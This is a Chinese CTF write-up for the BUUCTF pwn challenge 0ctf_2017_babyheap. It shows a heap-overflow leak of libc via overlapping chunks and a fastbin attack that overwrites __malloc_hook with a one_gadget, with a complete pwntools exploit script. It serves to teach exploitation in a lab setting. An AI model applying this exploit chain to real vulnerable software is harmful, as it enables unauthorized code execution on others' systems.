zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——0ctf_2017_babyheap

    0ctf_2017_babyheap

    附件

    步骤:

    1. 例行检查,64位程序,保护全开
      在这里插入图片描述
    2. 本地试运行一下,看看大概的情况,经典的堆题的菜单
      在这里插入图片描述
    3. main函数
      在这里插入图片描述

    add()
    在这里插入图片描述
    edit()
    在这里插入图片描述
    delete()
    在这里插入图片描述
    show()
    在这里插入图片描述

    利用思路

    1. edit存在堆溢出,可以通过重叠堆来泄露libc
    2. 然后利用fastbin attack,修改malloc_hook为one_gadget

    利用过程

    1. 首先来构造重叠堆
      先申请3个chunk,
    add(0x10)#0
    add(0x10)#1
    add(0x80)#2
    

    来看一下堆的布局
    在这里插入图片描述
    2. 接着利用堆溢出,将chunk1的size修改掉,使其能够包裹住chunk2,这样就构成了重叠堆

    edit(0,p64(0)*3+p64(0xb1))
    

    在这里插入图片描述
    之后释放chunk1,在重新申请回来,主要是为了修改结构体中的size,show的长度是根据这个来定的,由于calloc申请的chunk会初始化置0,所以还得要重新修改一下

    delete(1)
    add(0xa0)#1   delete再add回来使为了改变结构体中的size值,因为show的长度使根据这个值来定的
    edit(1,p64(0)*3+p64(0x91))  #因为使通过calloc申请回chunk1的所以chunk2被清零,我们要恢复chunk2
    
    1. 由于我申请的chunk2的size大于max_fast bin,所以free掉后会进入unsorted bin,而如果只有一个bin的话,其fd与bk都是main_arena + offset,我们通过打印chunk1就能够得到main_arena + offset的地址了,这样就泄露了libc,可以计算出malloc_hock的地址
    delete(2)  
    show(1)
    libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00')) -0x3c4b78
    malloc_hook =  libc_base + libc.symbols['__malloc_hook']
    

    为什么偏移是0x3c4b78?,我之前的文章里有提到过

    1. 接下来是fastbin attack覆盖malloc_hock为one_gadget
    delete(4)
    edit(3,p64(0)*7+p64(0x71)+p64(malloc_hook-0x23)) 
    add(0x68)#2    #fasbin attack
    add(0x68)#4
    one = [0xf1147,0xf02a4,0x4526a,0x45216]
    one_gadget = libc_base + one[2]
    edit(4,'x00'*0x13+p64(one_gadget)) 
    

    我们已经将malloc_hook的地址覆写成了one_gadget,现在add一个chunk就能获取shell了

    为什么是malloc_hook-0x23,我之前的这篇文章也有讲到过

    完整exp:

    from pwn import *
    
    context.log_level = 'debug'
    p=remote("node3.buuoj.cn",28294)
    p = process('./0ctf_2017_babyheap')
    libc = ELF('/libc-2.23-64.so')
    
    def add(size):
        p.sendlineafter('Command: ','1')
        p.sendlineafter('Size: ',str(size))
    
    def edit(idx,content):
        p.sendlineafter('Command: ','2')
        p.sendlineafter('Index: ',str(idx))
        p.sendlineafter('Size: ',str(len(content)))
        p.sendlineafter('Content: ',content)
    
    def delete(idx):
        p.sendlineafter('Command: ','3')
        p.sendlineafter('Index: ',str(idx))
    
    def show(idx):
        p.sendlineafter('Command: ','4')
        p.sendlineafter('Index: ',str(idx))
    
    #---------------这3个一组,是为了泄漏libc地址----------#
    add(0x10)#0
    add(0x10)#1
    add(0x80)#2
    #---------------这3个一组,是为了fastbin attack 覆写malloc hook 为one_gadget ----------#
    add(0x30)#3
    add(0x68)#4
    add(0x10)#5
    
    #------------------泄漏libc地址------------------------------------#
    edit(0,p64(0)*3+p64(0xb1))#通过edit(0)来改变chunk1的大小,使其包裹chunk2
    delete(1)
    add(0xa0)#1   delete再add回来使为了改变结构体中的size值,因为show的长度使根据这个值来定的
    edit(1,p64(0)*3+p64(0x91))  #因为使通过calloc申请回chunk1的所以chunk2被清零,我们要恢复chunk2
    delete(2)  #使的chunk2进入unsorted bin
    show(1)     #泄漏chunk2的fd
    libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00')) -0x3c4b78
    print 'libc_base: '+hex(libc_base)
    malloc_hook =  libc_base + libc.symbols['__malloc_hook']
    
    #-----------------fastbin attack-------------------------------------#
    delete(4)#释放使其进入fastbin
    edit(3,p64(0)*7+p64(0x71)+p64(malloc_hook-0x23)) #修改其fd指针
    add(0x68)#2    #fasbin attack
    add(0x68)#4
    one = [0xf1147,0xf02a4,0x4526a,0x45216]
    one_gadget = libc_base + one[2]
    edit(4,'x00'*0x13+p64(one_gadget)) #覆盖malloc_hook为one_gadget
    
    add(0x10)
    #gdb.attach(p)
    
    p.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    Visual Studio工具 vcpkg简介
    可跨平台C++开源图形图像框架:openFrameworks
    Visual Studio2017 设置了vcpkg之后,编译其他程序出问题
    PCL 3维点云的模板匹配
    Eigen库和STL容器冲突问题
    C 和 CPP 混合代码cmath编译出错
    VS2017在Release下编译错误C1001
    伪随机数
    和求余运算巧妙结合的jns指令
    [显示属性]-自定义桌面里没有IE选项
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273602.html
Copyright © 2011-2022 走看看